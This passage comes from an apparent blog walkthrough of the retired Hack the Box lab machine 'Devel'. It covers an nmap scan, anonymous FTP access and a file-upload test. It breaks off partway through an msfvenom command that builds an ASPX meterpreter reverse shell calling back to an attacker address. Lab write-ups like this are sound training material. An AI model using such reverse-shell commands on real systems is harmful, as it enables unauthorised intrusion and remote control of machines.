Today, we will be continuing with our exploration of Hack the Box (HTB) machines as begun in the previous article. This walkthrough is of an HTB machine named Devel.
HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.
Note: Writeups of only retired HTB machines are allowed. The machine in this article, named Devel, is retired.
Devel: The Walkthrough
Let’s start with this machine. [CLICK IMAGES TO ENLARGE]
1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
2. The Devel machine IP is 10.10.10.5.
3. We will adopt the same methodology of performing penetration testing as we have used previously. Let’s start with enumeration in order to gain as much information about the machine as possible.
4. As usual, let’s start with the nmap scan to gather more information about the services running on this machine.
<<nmap -sC -sV -oA Devel 10.10.10.5>>
5. We’ve gotten some juicy information from the nmap scan. The machine has port 80 and 21 open, and nmap has also told us that anonymous login is allowed.
6. Let’s try to connect to the server via FTP as anonymous.
7. Now we’ll try to see if we can upload to the server using a sample file upload.
8. Great, so it looks like we can upload files to the server. Let’s generate an ASPX reverse shell using msfvenom and upload that.
<<msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.23 (Read more...)
